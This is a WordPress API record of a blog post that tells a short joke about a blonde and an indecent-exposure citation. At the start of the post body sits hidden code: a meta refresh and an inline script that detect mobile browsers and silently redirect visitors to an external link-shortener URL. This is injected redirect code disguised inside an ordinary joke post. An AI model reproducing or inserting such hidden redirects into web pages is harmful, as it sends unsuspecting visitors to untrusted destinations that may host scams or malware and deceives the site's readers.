{"id":17294,"date":"2025-03-06T01:24:48","date_gmt":"2025-03-06T01:24:48","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=17294"},"modified":"2025-03-06T01:24:48","modified_gmt":"2025-03-06T01:24:48","slug":"indecent-exposure","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=17294","title":{"rendered":"Indecent Exposure"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\nA blonde is walking down the street with her blouse open, exposing one of her breasts. <\/p>\n<p>A nearby policeman approaches her and remarks, \u201cMa\u2019am, are you aware that I could cite you for indecent exposure?\u201d <\/p>\n<p>\u201cWhy, officer?\u201d asks the blonde. <\/p>\n<p>\u201cBecause your blouse is open and your breast is exposed.\u201d <\/p>\n<p>\u201cOh my goodness,\u201d exclaims the blonde, \u201cI left my baby on the bus!\u201d<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A blonde is walking down the street with her blouse open, exposing one of her breasts. A nearby policeman approaches her and remarks, \u201cMa\u2019am, are you aware&#8230; <\/p>\n","protected":false},"author":1,"featured_media":17295,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-17294","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/17294","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17294"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/17294\/revisions"}],"predecessor-version":[{"id":17296,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/17294\/revisions\/17296"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/media\/17295"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}